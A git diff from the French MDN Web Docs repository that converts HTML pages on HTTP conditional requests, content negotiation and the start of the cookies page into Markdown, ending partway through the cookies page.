+Le principe est simple, mais il y a un problème potentiel : si la ressource téléchargée a été modifiée entre deux téléchargements, les données reçues correspondront à deux versions différentes de la ressource et le fichier final sera corrompu. Pour prévenir cela, des en-têtes conditionnelles sont employées. Il y a deux manières de faire : la plus flexible utilise [`If-Modified-Since`](/fr/docs/Web/HTTP/Headers/If-Modified-Since) et de [`If-Match`](/fr/docs/Web/HTTP/Headers/If-Match), le serveur retourne alors une erreur si la pré-condition n'est pas satisfaite et le client reprend le téléchargement depuis le début : -

Lorsque la ressource partiellement téléchargée a été modifiée, les préconditions échoueront et la ressource devra à nouveau être téléchargée entièrement.

+![Lorsque la ressource partiellement téléchargée a été modifiée, les préconditions échoueront et la ressource devra à nouveau être téléchargée entièrement.](httpresume3.png) -

Même si cette méthode fonctionne, elle ajoute un échange requête/réponse quand le document a été modifié. Cela impacte la performance et HTTP a prévu un en-tête spécifique pour éviter ce scénario : If-Range:

+Même si cette méthode fonctionne, elle ajoute un échange requête/réponse quand le document a été modifié. Cela impacte la performance et HTTP a prévu un en-tête spécifique pour éviter ce scénario : [`If-Range`](/fr/docs/Web/HTTP/Headers/If-Range): -

Les en-têtes If-Range permettent au serveur de renvoyer directement la ressource complète si elle a été modifiée. Il n'est pas nécessaire d'envoyer une erreur 412 au client et d'attendre que ce dernier relance le téléchargement.

+![Les en-têtes If-Range permettent au serveur de renvoyer directement la ressource complète si elle a été modifiée. Il n'est pas nécessaire d'envoyer une erreur 412 au client et d'attendre que ce dernier relance le téléchargement.](httpresume4.png) -

Cette solution est plus efficace mais légèrement moins flexible puisqu'un seul ETag peut être utilisé dans la condition. On a rarement besoin d'une telle flexibilité additionnelle.

+Cette solution est plus efficace mais légèrement moins flexible puisqu'un seul ETag peut être utilisé dans la condition. On a rarement besoin d'une telle flexibilité additionnelle. -

Èviter les problèmes de perte de mise à jour avec le "verrouillage optimiste"

+### Èviter les problèmes de perte de mise à jour avec le "verrouillage optimiste" -

Une opération commune des applications web est la mise à jour de documents distants. Cela arrive fréquemment dans tout système de fichiers ou dans les applications de contrôle de source. Toute application qui permet de stocker des ressources distantes a besoin de ce mécanisme. Les sites comme les wikis et autres CMS s'en servent habituellement.

+Une opération commune des applications web est la mise à jour de documents distants. Cela arrive fréquemment dans tout système de fichiers ou dans les applications de contrôle de source. Toute application qui permet de stocker des ressources distantes a besoin de ce mécanisme. Les sites comme les wikis et autres CMS s'en servent habituellement. -

Vous pouvez l'implémenter avec la méthode PUT. Le client lit d'abord les fichiers originaux, les modifie et finalement, les envoie au serveur.

+Vous pouvez l'implémenter avec la méthode [`PUT`](/fr/docs/Web/HTTP/Methods/PUT). Le client lit d'abord les fichiers originaux, les modifie et finalement, les envoie au serveur. -

Mettre à jour un fichier avec PUT est assez simple tant qu'il n'y a pas de concurrence.

+![Mettre à jour un fichier avec PUT est assez simple tant qu'il n'y a pas de concurrence.](httplock1.png) -

Cependant, les choses deviennent un peu moins précises dès que l'on parle de simultanéité des connexions. Pendant qu'un client est en train de modifier localement sa nouvelle copie de la ressource, un second client peut récupérer la même ressource et faire de même avec sa copie. Ce qui arrive ensuite est regrettable : quand ils enregistrent les modifications sur le serveur, celles du premier client sont écartées par l'enregistrement du second client qui n'est pas au courant des changements effectués sur la ressource par le premier client. Le choix qui est fait n'est pas communiqué aux autres protagonistes. Les changements adoptés changeront avec la vitesse d'enregistrement, ce qui dépend de la performance des clients, des serveurs et même de l'humain qui édite le document sur le client. Le "gagnant" changera d'une fois à l'autre. C'est donc une situation de compétition (race condition) qui conduit à des comportements problématiques difficiles à cerner et à déboguer.

+Cependant, les choses deviennent un peu moins précises dès que l'on parle de simultanéité des connexions. Pendant qu'un client est en train de modifier localement sa nouvelle copie de la ressource, un second client peut récupérer la même ressource et faire de même avec sa copie. Ce qui arrive ensuite est regrettable : quand ils enregistrent les modifications sur le serveur, celles du premier client sont écartées par l'enregistrement du second client qui n'est pas au courant des changements effectués sur la ressource par le premier client. Le choix qui est fait n'est pas communiqué aux autres protagonistes. Les changements adoptés changeront avec la vitesse d'enregistrement, ce qui dépend de la performance des clients, des serveurs et même de l'humain qui édite le document sur le client. Le "gagnant" changera d'une fois à l'autre. C'est donc une situation de compétition ([_race condition_]()) qui conduit à des comportements problématiques difficiles à cerner et à déboguer. -

Lorsque plusieurs clients mettent à jour la même ressource en parallèle, on a une situation de compétition (race condition) : c'est le plus lent qui gagne et les autres ne savent pas qu'ils ont perdu…

+![Lorsque plusieurs clients mettent à jour la même ressource en parallèle, on a une situation de compétition (race condition) : c'est le plus lent qui gagne et les autres ne savent pas qu'ils ont perdu…](httplock2.png) -

Il n'existe aucune manière de gérer ce problème sans ennuyer l'un ou l'autre des deux clients. Toutefois, cela permet d'éviter les mises à jour perdues ou les situations de compétition. On souhaite avoir des résultats prévisibles et s'assurer que les clients soient prévenus lorsque leurs modifications sont rejetées.

+Il n'existe aucune manière de gérer ce problème sans ennuyer l'un ou l'autre des deux clients. Toutefois, cela permet d'éviter les mises à jour perdues ou les situations de compétition. On souhaite avoir des résultats prévisibles et s'assurer que les clients soient prévenus lorsque leurs modifications sont rejetées. -

Les requêtes conditionnelles permettent d'implémenter l'algorithme de contrôle de concurrence (ptimistic locking algorithm) utilisé par la plupart des wikis ou systèmes de contrôle des sources. Le concept est de permettre au client d'avoir des copies de la ressource, les laisser se modifier localement puis de contrôler la mise en concurrence en autorisant celles du premier client soumettant une mise à jour. Toutes les mises à jour ultérieures basées sur la version maintenant obsolète sont rejetées :

+Les requêtes conditionnelles permettent d'implémenter l'algorithme de contrôle de concurrence (_ptimistic locking algorithm_) utilisé par la plupart des wikis ou systèmes de contrôle des sources. Le concept est de permettre au client d'avoir des copies de la ressource, les laisser se modifier localement puis de contrôler la mise en concurrence en autorisant celles du premier client soumettant une mise à jour. Toutes les mises à jour ultérieures basées sur la version maintenant obsolète sont rejetées : -

Les requêtes conditionnelles permettent d'implémenter un mécanisme de verrou optimiste : c'est le plus rapide qui gagne et les autres reçoivent une erreur.

+![Les requêtes conditionnelles permettent d'implémenter un mécanisme de verrou optimiste : c'est le plus rapide qui gagne et les autres reçoivent une erreur.](httplock3.png) -

Ce ci est implémenté par les en-têtes If-Match ou If-Unmodified-Since. Si l'ETag ne correspond pas au fichier original ou si le fichier a été modifié depuis son obtention, le changement est alors simplement rejeté avec une erreur 412 Precondition Failed. C'est maintenant à l'initiative du client que se réglera l'erreur : soit en prévenant le client de redémarrer avec la nouvelle version, soit en présentant au client les différences entre les deux versions pour l'aider à choisir les modifications à conserver.

+Ce ci est implémenté par les en-têtes [`If-Match`](/fr/docs/Web/HTTP/Headers/If-Match) ou [`If-Unmodified-Since`](/fr/docs/Web/HTTP/Headers/If-Unmodified-Since). Si l'ETag ne correspond pas au fichier original ou si le fichier a été modifié depuis son obtention, le changement est alors simplement rejeté avec une erreur [`412`](/fr/docs/Web/HTTP/Status/412) `Precondition Failed`. C'est maintenant à l'initiative du client que se réglera l'erreur : soit en prévenant le client de redémarrer avec la nouvelle version, soit en présentant au client les différences entre les deux versions pour l'aider à choisir les modifications à conserver. -

Gérer le premier téléchargement d'une ressource

+### Gérer le premier téléchargement d'une ressource -

Le premier téléchargement d'une ressource est un des cas résultant du comportement précédent. Comme toute mise à jour d'une ressource, le téléchargement va faire l'objet d'une situation de compétition si deux clients essaient un enregistrement au même instant. Pour éviter cela, les en-têtes conditionnels peuvent être employés : on ajoute If-None-Match avec la valeur particulière '*', représentant n'importe quel etag. La requête aboutira seulement si la ressource n'existait pas avant :

+Le premier téléchargement d'une ressource est un des cas résultant du comportement précédent. Comme toute mise à jour d'une ressource, le téléchargement va faire l'objet d'une situation de compétition si deux clients essaient un enregistrement au même instant. Pour éviter cela, les en-têtes conditionnels peuvent être employés : on ajoute [`If-None-Match`](/fr/docs/Web/HTTP/Headers/If-None-Match) avec la valeur particulière `'*'`, représentant n'importe quel etag. La requête aboutira seulement si la ressource n'existait pas avant : -

Comme pour un upload normal, le premier upload d'une ressource est sujet à une situation de compétition. If-None-Match peut empêcher cela.

+![Comme pour un upload normal, le premier upload d'une ressource est sujet à une situation de compétition. If-None-Match peut empêcher cela.](httpfirst.png) -

If-None-Match fonctionnera seulement avec les serveurs compatibles HTTP/1.1 (et postérieurs). Si vous n'avez pas la certitude que le serveur soit compatible, vous devez d'abord envoyer une requête HEAD à la ressource pour vérifier.

+`If-None-Match` fonctionnera seulement avec les serveurs compatibles HTTP/1.1 (et postérieurs). Si vous n'avez pas la certitude que le serveur soit compatible, vous devez d'abord envoyer une requête [`HEAD`](/fr/docs/Web/HTTP/Methods/HEAD) à la ressource pour vérifier. -

Conclusion

+## Conclusion -

Les requêtes conditionnelles sont une fonctionnalité essentielle d'HTTP et permettent la construction d'applications efficaces et complexes. Pour le cache et la reprise des téléchargements, la seule tâche du webmaster consiste à configurer le serveur correctement. Dans certains environnements, paramétrer correctement les ETags peut s'avérer un véritable défi. Une fois que c'est fait, le navigateur pourra exploiter les requêtes conditionnelles.

+Les requêtes conditionnelles sont une fonctionnalité essentielle d'HTTP et permettent la construction d'applications efficaces et complexes. Pour le cache et la reprise des téléchargements, la seule tâche du webmaster consiste à configurer le serveur correctement. Dans certains environnements, paramétrer correctement les ETags peut s'avérer un véritable défi. Une fois que c'est fait, le navigateur pourra exploiter les requêtes conditionnelles. -

Pour les mécanismes de verrou, c'est l'inverse : les développeurs web devront publier une requête avec les en-têtes appropriés tandis que les webmasters peuvent en général se fier à l'application pour effectuer ces vérifications.

+Pour les mécanismes de verrou, c'est l'inverse : les développeurs web devront publier une requête avec les en-têtes appropriés tandis que les webmasters peuvent en général se fier à l'application pour effectuer ces vérifications. -

Dans les deux cas, les requêtes conditionnelles représentent une fonctionnalité essentielle du Web.

+Dans les deux cas, les requêtes conditionnelles représentent une fonctionnalité essentielle du Web. diff --git a/files/fr/web/http/content_negotiation/index.md b/files/fr/web/http/content_negotiation/index.md index a1fe95c477..6099ac2b69 100644 --- a/files/fr/web/http/content_negotiation/index.md +++ b/files/fr/web/http/content_negotiation/index.md @@ -3,141 +3,107 @@ title: La négociation de contenu slug: Web/HTTP/Content_negotiation translation_of: Web/HTTP/Content_negotiation --- -
{{HTTPSidebar}}
+{{HTTPSidebar}} -

En HTTP, la négociation de contenu est le mécanisme utilisé pour fournir différentes représentations d'une ressource à la même URI, afin que l'agent utilisateur puisse spécifier celle qui convient le mieux à l'utilisateur (par exemple, la langue d'un document, le format d'image, ou l'encodage du contenu).

+En [HTTP](/en-US/docs/Glossary/HTTP), la **_négociation de contenu_** est le mécanisme utilisé pour fournir différentes représentations d'une ressource à la même URI, afin que l'agent utilisateur puisse spécifier celle qui convient le mieux à l'utilisateur (par exemple, la langue d'un document, le format d'image, ou l'encodage du contenu). -

Principes de la négociation de contenu

+## Principes de la négociation de contenu -

Un document spécifique s'appelle une ressource. Lorsqu'un client veut y accéder, il le demande en utilisant son URL. Le serveur utilise cette URL pour choisir une des différentes versions qu'il peut fournir - chaque version étant appelée une représentation - et renvoie cette représentation spécifique au client. La ressource globale, ainsi que chacune de ses représentations, ont une URL spécifique. La façon dont une représentation spécifique est choisie est déterminée par la négociation de contenu et il existe plusieurs façons de négocier entre le client et le serveur.

+Un document spécifique s'appelle une _ressource_. Lorsqu'un client veut y accéder, il le demande en utilisant son URL. Le serveur utilise cette URL pour choisir une des différentes versions qu'il peut fournir - chaque version étant appelée une représentation - et renvoie cette représentation spécifique au client. La ressource globale, ainsi que chacune de ses représentations, ont une URL spécifique. La façon dont une représentation spécifique est choisie est déterminée par la _négociation de contenu_ et il existe plusieurs façons de négocier entre le client et le serveur. -

+![](httpnego.png) -

La sélection de la représentation la mieux adaptée se fait par l'un des deux mécanismes suivants:

+La sélection de la représentation la mieux adaptée se fait par l'un des deux mécanismes suivants: -
    -
  • Des en-têtes HTTP spécifiques envoyés par le client (négociation pilotée par le serveur ou négociation proactive), qui est le moyen standard de négocier un type de ressource spécifique.
    • -
  • Les codes réponses {{HTTPStatus("300")}} (Multiple Choices) ou {{HTTPStatus("406")}} (Not Acceptable) envoyés par le serveur (négociation pilotée par le client ou négociation réactive), qui sont utilisés comme mécanismes de repli.
    • -
+- Des [en-têtes HTTP](/fr/docs/Web/HTTP/Headers) spécifiques envoyés par le client (_négociation pilotée par le serveur_ ou _négociation proactive_), qui est le moyen standard de négocier un type de ressource spécifique. +- Les [codes réponses](/fr/docs/Web/HTTP/Status) {{HTTPStatus("300")}} (Multiple Choices) ou {{HTTPStatus("406")}} (Not Acceptable) envoyés par le serveur (_négociation pilotée par le client_ ou _négociation réactive_), qui sont utilisés comme mécanismes de repli. -

Au fil des ans, d'autres propositions de négociation de contenu, comme la négociation transparente du contenu et l'en-tête Alternates, ont été proposées. Elles n'ont pas réussi à emporter l'adhésion et ont été abandonnées.

+Au fil des ans, d'autres propositions de négociation de contenu, comme la négociation transparente du contenu et l'en-tête `Alternates`, ont été proposées. Elles n'ont pas réussi à emporter l'adhésion et ont été abandonnées. -

La négociation de contenu gérée par le serveur

+## La négociation de contenu gérée par le serveur +Dans la _négociation de contenu gérée par le serveur_, ou négociation proactive de contenu, le navigateur (ou tout autre type de client) envoie plusieurs en-têtes HTTP avec l'URL décrivant les choix préférés de l'utilisateur. Le serveur les utilise comme indications et un algorithme interne choisit le meilleur contenu à servir au client. L'algorithme est spécifique au serveur et n'est pas défini dans la norme. Voir, par exemple, l'[algorithme de négociation d'Apache 2.2](http://httpd.apache.org/docs/2.2/en/content-negotiation.html#algorithm). +![](httpnegoserver.png) -

Dans la négociation de contenu gérée par le serveur, ou négociation proactive de contenu, le navigateur (ou tout autre type de client) envoie plusieurs en-têtes HTTP avec l'URL décrivant les choix préférés de l'utilisateur. Le serveur les utilise comme indications et un algorithme interne choisit le meilleur contenu à servir au client. L'algorithme est spécifique au serveur et n'est pas défini dans la norme. Voir, par exemple, l'algorithme de négociation d'Apache 2.2.

+La norme HTTP/1.1 définit la liste des en-têtes standard qui initient la négociation pilotée par le serveur ({{HTTPHeader("Accept")}}, {{HTTPHeader("Accept-Charset")}}, {{HTTPHeader("Accept-Encoding")}}, {{HTTPHeader("Accept-Language")}}). Bien qu'à proprement parler {{HTTPHeader("User-Agent")}} ne figure pas dans la liste, il est aussi parfois utilisé pour envoyer une représentation spécifique de la ressource demandée, bien que cela ne soit pas considéré comme une bonne pratique. Le serveur utilise l'en-tête {{HTTPHeader("Vary")}} pour indiquer quels en-têtes il a effectivement utilisés pour la négociation de contenu (ou plus précisément les en-têtes de réponse associés), pour que les [caches](/en-US/docs/Web/HTTP/Caching) puissent fonctionner de manière optimale. -

+En outre, il existe une proposition expérimentale visant à ajouter d'autres en-têtes à la liste des en-têtes disponibles, appelés indications (_hints_) du client. Ces hints indiquent sur quel type de périphérique l'agent utilisateur fonctionne (par exemple, s'il s'agit d'un ordinateur de bureau ou d'un périphérique mobile). -

La norme HTTP/1.1 définit la liste des en-têtes standard qui initient la négociation pilotée par le serveur ({{HTTPHeader("Accept")}}, {{HTTPHeader("Accept-Charset")}}, {{HTTPHeader("Accept-Encoding")}}, {{HTTPHeader("Accept-Language")}}). Bien qu'à proprement parler {{HTTPHeader("User-Agent")}} ne figure pas dans la liste, il est aussi parfois utilisé pour envoyer une représentation spécifique de la ressource demandée, bien que cela ne soit pas considéré comme une bonne pratique. Le serveur utilise l'en-tête {{HTTPHeader("Vary")}} pour indiquer quels en-têtes il a effectivement utilisés pour la négociation de contenu (ou plus précisément les en-têtes de réponse associés), pour que les caches puissent fonctionner de manière optimale.

+Même si la négociation de contenu gérée par le serveur est le moyen le plus courant de s'entendre sur une représentation spécifique d'une ressource, elle présente plusieurs inconvénients: -

En outre, il existe une proposition expérimentale visant à ajouter d'autres en-têtes à la liste des en-têtes disponibles, appelés indications (hints) du client. Ces hints indiquent sur quel type de périphérique l'agent utilisateur fonctionne (par exemple, s'il s'agit d'un ordinateur de bureau ou d'un périphérique mobile).

+- Le serveur n'a pas une connaissance totale du navigateur. Même avec l'extension _Client Hints_, il n'a pas une connaissance complète des capacités du navigateur. Contrairement à la négociation de contenu réactif où le client fait le choix, celui du serveur est toujours quelque peu arbitraire. +- L'information fournie par le client est assez verbeuse (la compression de l'en-tête HTTP/2 atténue ce problème) et est un risque d'atteinte à la vie privée (empreintes digitales HTTP) +- Comme plusieurs représentations d'une ressource donnée sont envoyées, les caches partagés sont moins efficaces et les implémentations des serveurs sont plus complexes. -

Même si la négociation de contenu gérée par le serveur est le moyen le plus courant de s'entendre sur une représentation spécifique d'une ressource, elle présente plusieurs inconvénients:

+### The `Accept` header -
    -
  • Le serveur n'a pas une connaissance totale du navigateur. Même avec l'extension Client Hints, il n'a pas une connaissance complète des capacités du navigateur. Contrairement à la négociation de contenu réactif où le client fait le choix, celui du serveur est toujours quelque peu arbitraire.
    • -
  • L'information fournie par le client est assez verbeuse (la compression de l'en-tête HTTP/2 atténue ce problème) et est un risque d'atteinte à la vie privée (empreintes digitales HTTP)
    • -
  • Comme plusieurs représentations d'une ressource donnée sont envoyées, les caches partagés sont moins efficaces et les implémentations des serveurs sont plus complexes.
    • -
+The {{HTTPHeader("Accept")}} header lists the MIME types of media resources that the agent is willing to process. It is comma-separated lists of MIME types, each combined with a quality factor, a parameter indicating the relative degree of preference between the different MIME types. -

The Accept header

+The {{HTTPHeader("Accept")}} header is defined by the browser, or any other user-agent, and can vary according to the context, like fetching an HTML page or an image, a video, or a script: It is different when fetching a document entered in the address bar or an element linked via an {{ HTMLElement("img") }}, {{ HTMLElement("video") }} or {{ HTMLElement("audio") }} element. Browsers are free to use the value of the header that they think is the most adequate; an exhaustive list of [default values for common browsers](/en-US/docs/Web/HTTP/Content_negotiation/List_of_default_Accept_values) is available. -

The {{HTTPHeader("Accept")}} header lists the MIME types of media resources that the agent is willing to process. It is comma-separated lists of MIME types, each combined with a quality factor, a parameter indicating the relative degree of preference between the different MIME types.

+### The `Accept-CH` header {{experimental_inline}} -

The {{HTTPHeader("Accept")}} header is defined by the browser, or any other user-agent, and can vary according to the context, like fetching an HTML page or an image, a video, or a script: It is different when fetching a document entered in the address bar or an element linked via an {{ HTMLElement("img") }}, {{ HTMLElement("video") }} or {{ HTMLElement("audio") }} element. Browsers are free to use the value of the header that they think is the most adequate; an exhaustive list of default values for common browsers is available.

+> **Note :** This is part of an **experimental** technology called _Client Hints_. Initial support is in Chrome 46 or later. The Device-Memory value is in Chrome 61 or later. -

The Accept-CH header {{experimental_inline}}

+The experimental {{HTTPHeader("Accept-CH")}} lists configuration data that can be used by the server to select an appropriate response. Valid values are: -
-

Note : This is part of an experimental technology called Client Hints. Initial support is in Chrome 46 or later. The Device-Memory value is in Chrome 61 or later.

-
+| Value | Meaning | +| ---------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | +| `Device-Memory` | Indicates the approximate amount of device RAM. This value is an approximation given by rounding to the nearest power of 2 and dividing that number by 1024. For example, 512 megabytes will be reported as `0.5`.  | +| `DPR` | Indicates the client's device pixel ratio. | +| `Viewport-Width` | Indicates the layout viewport width in CSS pixels.  | +| `Width` | Indicates the resource width in physical pixels (in other words the intrinsic size of an image). | -

The experimental {{HTTPHeader("Accept-CH")}} lists configuration data that can be used by the server to select an appropriate response. Valid values are:

+### The `Accept-Charset` header - - - - - - - - - - - - - - - - - - - - - - - - - -
ValueMeaning
Device-MemoryIndicates the approximate amount of device RAM. This value is an approximation given by rounding to the nearest power of 2 and dividing that number by 1024. For example, 512 megabytes will be reported as 0.5. 
DPRIndicates the client's device pixel ratio.
Viewport-WidthIndicates the layout viewport width in CSS pixels. 
WidthIndicates the resource width in physical pixels (in other words the intrinsic size of an image).
+The {{HTTPHeader("Accept-Charset")}} header indicates to the server what kinds of character encodings are understood by the user-agent. Traditionally, it was set to a different value for each locale for the browser, like `ISO-8859-1,utf-8;q=0.7,*;q=0.7` for a Western European locale. -

The Accept-Charset header

+With UTF-8 now being well-supported, being the preferred way of encoding characters, [and to guarantee better privacy through less configuration-based entropy](https://www.eff.org/deeplinks/2010/01/primer-information-theory-and-privacy), browsers omit the `Accept-Charset` header: Internet Explorer 8, Safari 5, Opera 11, Firefox 10 and Chrome 27 have abandoned this header. -

The {{HTTPHeader("Accept-Charset")}} header indicates to the server what kinds of character encodings are understood by the user-agent. Traditionally, it was set to a different value for each locale for the browser, like ISO-8859-1,utf-8;q=0.7,*;q=0.7 for a Western European locale.

+### The `Accept-CH-Lifetime` header -

With UTF-8 now being well-supported, being the preferred way of encoding characters, and to guarantee better privacy through less configuration-based entropy, browsers omit the Accept-Charset header: Internet Explorer 8, Safari 5, Opera 11, Firefox 10 and Chrome 27 have abandoned this header.

+> **Note :** This is part of an **experimental** technology called *Client Hints*  and is only available in Chrome 61 or later. -

The Accept-CH-Lifetime header

+The {{HTTPHeader("Accept-CH-Lifetime")}} header is used with the `Device-Memory` value of the `Accept-CH` header and indicates the amount of time the device should opt-in to sharing the amount of device memory with the server. The value is given in miliseconds and it's use is optional. -
-

Note : This is part of an experimental technology called Client Hints  and is only available in Chrome 61 or later.

-
+### The `Accept-Encoding` header -

The {{HTTPHeader("Accept-CH-Lifetime")}} header is used with the Device-Memory value of the Accept-CH header and indicates the amount of time the device should opt-in to sharing the amount of device memory with the server. The value is given in miliseconds and it's use is optional.

+The {{HTTPHeader("Accept-Encoding")}} header defines the acceptable content-encoding (supported compressions). The value is a q-factor list (e.g.: `br, gzip;q=0.8`) that indicates the priority of the encoding values. The default value `identity` is at the lowest priority (unless otherwise declared). -

The Accept-Encoding header

+Compressing HTTP messages is one of the most important ways to improve the performance of a Web site, it shrinks the size of the data transmitted and makes better use of the available bandwidth; browsers always send this header and the server should be configured to abide to it and to use compression. -

The {{HTTPHeader("Accept-Encoding")}} header defines the acceptable content-encoding (supported compressions). The value is a q-factor list (e.g.: br, gzip;q=0.8) that indicates the priority of the encoding values. The default value identity is at the lowest priority (unless otherwise declared).

+### The `Accept-Language` header -

Compressing HTTP messages is one of the most important ways to improve the performance of a Web site, it shrinks the size of the data transmitted and makes better use of the available bandwidth; browsers always send this header and the server should be configured to abide to it and to use compression.

+The {{HTTPHeader("Accept-Language")}} header is used to indicate the language preference of the user. It is a list of values with quality factors (like: `"de, en;q=0.7`"). A default value is often set according the language of the graphical interface of the user agent, but most browsers allow to set different language preferences. -

The Accept-Language header

+Due to the [configuration-based entropy](https://www.eff.org/deeplinks/2010/01/primer-information-theory-and-privacy) increase, a modified value can be used to fingerprint the user, it is not recommended to change it and a Web site cannot trust this value to reflect the actual wish of the user. Site designers must not be over-zealous by using language detection via this header as it can lead to a poor user experience: -

The {{HTTPHeader("Accept-Language")}} header is used to indicate the language preference of the user. It is a list of values with quality factors (like: "de, en;q=0.7"). A default value is often set according the language of the graphical interface of the user agent, but most browsers allow to set different language preferences.

+- They should always provide a way to overcome the server-chosen language, e.g., by providing a language menu on the site. Most user-agents provide a default value for the `Accept-Language` header, adapted to the user interface language and end users often do not modify it, either by not knowing how, or by not being able to do it, as in an Internet café for instance. +- Once a user has overridden the server-chosen language, a site should no longer use language detection and should stick with the explicitly-chosen language. In other words, only entry pages of a site should select the proper language using this header. -

Due to the configuration-based entropy increase, a modified value can be used to fingerprint the user, it is not recommended to change it and a Web site cannot trust this value to reflect the actual wish of the user. Site designers must not be over-zealous by using language detection via this header as it can lead to a poor user experience:

+### The `User-Agent` header -
    -
  • They should always provide a way to overcome the server-chosen language, e.g., by providing a language menu on the site. Most user-agents provide a default value for the Accept-Language header, adapted to the user interface language and end users often do not modify it, either by not knowing how, or by not being able to do it, as in an Internet café for instance.
    • -
  • Once a user has overridden the server-chosen language, a site should no longer use language detection and should stick with the explicitly-chosen language. In other words, only entry pages of a site should select the proper language using this header.
    • -
+> **Note :** Though there are legitimate uses of this header for selecting content, [it is considered bad practice](/en-US/docs/Web/HTTP/Browser_detection_using_the_user_agent) to rely on it to define what features are supported by the user agent. -

The User-Agent header

+The {{HTTPHeader("User-Agent")}} header identifies the browser sending the request. This string may contain a space-separated list of _product tokens_ and _comments_. -
-

Note : Though there are legitimate uses of this header for selecting content, it is considered bad practice to rely on it to define what features are supported by the user agent.

-
+A _product token_ is a name followed by a '`/`' and a version number, like `Firefox/4.0.1`. There may be as many of them as the user-agent wants. A _comment_ is a free string delimited by parentheses. Obviously parentheses cannot be used in that string. The inner format of a comment is not defined by the standard, though several browser put several tokens in it, separated by '`;`'. -

The {{HTTPHeader("User-Agent")}} header identifies the browser sending the request. This string may contain a space-separated list of product tokens and comments.

+### The `Vary` response header -

A product token is a name followed by a '/' and a version number, like Firefox/4.0.1. There may be as many of them as the user-agent wants. A comment is a free string delimited by parentheses. Obviously parentheses cannot be used in that string. The inner format of a comment is not defined by the standard, though several browser put several tokens in it, separated by ';'.

+In opposition to the previous `Accept-*` headers which are sent by the client, the {{HTTPHeader("Vary")}} HTTP header is sent by the web server in its response. It indicates the list of headers used by the server during the server-driven content negotiation phase. The header is needed in order to inform the cache of the decision criteria so that it can reproduce it, allowing the cache to be functional while preventing serving erroneous content to the user. -

The Vary response header

+The special value of '`*`' means that the server-driven content negotiation also uses information not conveyed in a header to choose the appropriate content. -

In opposition to the previous Accept-* headers which are sent by the client, the {{HTTPHeader("Vary")}} HTTP header is sent by the web server in its response. It indicates the list of headers used by the server during the server-driven content negotiation phase. The header is needed in order to inform the cache of the decision criteria so that it can reproduce it, allowing the cache to be functional while preventing serving erroneous content to the user.

+The `Vary` header was added in the version 1.1 of HTTP and is necessary in order to allow caches to work appropriately. A cache, in order to work with server-driven content negotiation, needs to know which criteria was used by the server to select the transmitted content. That way, the cache can replay the algorithm and will be able to serve acceptable content directly, without more request to the server. Obviously, the wildcard '`*`' prevents caching from occurring, as the cache cannot know what element is behind it. -

The special value of '*' means that the server-driven content negotiation also uses information not conveyed in a header to choose the appropriate content.

+## Agent-driven negotiation -

The Vary header was added in the version 1.1 of HTTP and is necessary in order to allow caches to work appropriately. A cache, in order to work with server-driven content negotiation, needs to know which criteria was used by the server to select the transmitted content. That way, the cache can replay the algorithm and will be able to serve acceptable content directly, without more request to the server. Obviously, the wildcard '*' prevents caching from occurring, as the cache cannot know what element is behind it.

+Server-driven negotiation suffers from a few downsides: it doesn't scale well. There is one header per feature used in the negotiation. If you want to use screen size, resolution or other dimensions, a new HTTP header must be created. Sending of the headers must be done on every request. This is not too problematic with few headers, but with the eventual multiplications of them, the message size would lead to a decrease in performance. The more precise headers are sent, the more entropy is sent, allowing for more HTTP fingerprinting and corresponding privacy concern. -

Agent-driven negotiation

+From the beginnings of HTTP, the protocol allowed another negotiation type: _agent-driven negotiation_ or _reactive negotiation_. In this negotiation, when facing an ambiguous request, the server sends back a page containing links to the available alternative resources. The user is presented the resources and choose the one to use. -

Server-driven negotiation suffers from a few downsides: it doesn't scale well. There is one header per feature used in the negotiation. If you want to use screen size, resolution or other dimensions, a new HTTP header must be created. Sending of the headers must be done on every request. This is not too problematic with few headers, but with the eventual multiplications of them, the message size would lead to a decrease in performance. The more precise headers are sent, the more entropy is sent, allowing for more HTTP fingerprinting and corresponding privacy concern.

+![](httpnego3.png) -

From the beginnings of HTTP, the protocol allowed another negotiation type: agent-driven negotiation or reactive negotiation. In this negotiation, when facing an ambiguous request, the server sends back a page containing links to the available alternative resources. The user is presented the resources and choose the one to use.

- -

- -

Unfortunately, the HTTP standard does not specify the format of the page allowing to choose between the available resource, which prevents to easily automatize the process. Besides falling back to the server-driven negotiation, this method is almost always used in conjunction with scripting, especially with JavaScript redirection: after having checked for the negotiation criteria, the script performs the redirection. A second problem is that one more request is needed in order to fetch the real resource, slowing the availability of the resource to the user.

+Unfortunately, the HTTP standard does not specify the format of the page allowing to choose between the available resource, which prevents to easily automatize the process. Besides falling back to the _server-driven negotiation_, this method is almost always used in conjunction with scripting, especially with JavaScript redirection: after having checked for the negotiation criteria, the script performs the redirection. A second problem is that one more request is needed in order to fetch the real resource, slowing the availability of the resource to the user. diff --git a/files/fr/web/http/cookies/index.md b/files/fr/web/http/cookies/index.md index 1568fcf41d..9d397af2a7 100644 --- a/files/fr/web/http/cookies/index.md +++ b/files/fr/web/http/cookies/index.md @@ -7,188 +7,172 @@ tags: - HTTP translation_of: Web/HTTP/Cookies --- -
{{HTTPSidebar}}
+{{HTTPSidebar}} -

Un cookie HTTP (cookie web, cookie de navigateur) est un petit ensemble de données qu'un serveur envoie au navigateur web de l'utilisateur. Le navigateur peut alors le stocker localement, puis le renvoyer à la prochaine requête vers le même serveur. Typiquement, cette méthode est utilisée par le serveur pour déterminer si deux requêtes proviennent du même navigateur.

-

Cela permet, par exemple, de garder un utilisateur connecté. Les cookies permettent de conserver de l'information en passant par le procotole HTTP qui est lui "sans état".

+Un cookie HTTP (cookie web, cookie de navigateur) est un petit ensemble de données qu'un serveur envoie au navigateur web de l'utilisateur. Le navigateur peut alors le stocker localement, puis le renvoyer à la prochaine requête vers le même serveur. Typiquement, cette méthode est utilisée par le serveur pour déterminer si deux requêtes proviennent du même navigateur. -

Les cookies sont utilisés pour 3 raisons principales :

+Cela permet, par exemple, de garder un utilisateur connecté. Les cookies permettent de conserver de l'information en passant par le procotole HTTP qui est lui "sans état". -
-
Gestion des sessions
-
Logins, panier d'achat, score d'un jeu, ou tout autre chose dont le serveur doit se souvenir.
-
Personnalisation
-
Préférences utilisateur, thèmes, et autres paramètres.
-
Suivi
-
Enregistrement et analyse du comportement utilisateur.
-
+Les cookies sont utilisés pour 3 raisons principales : -

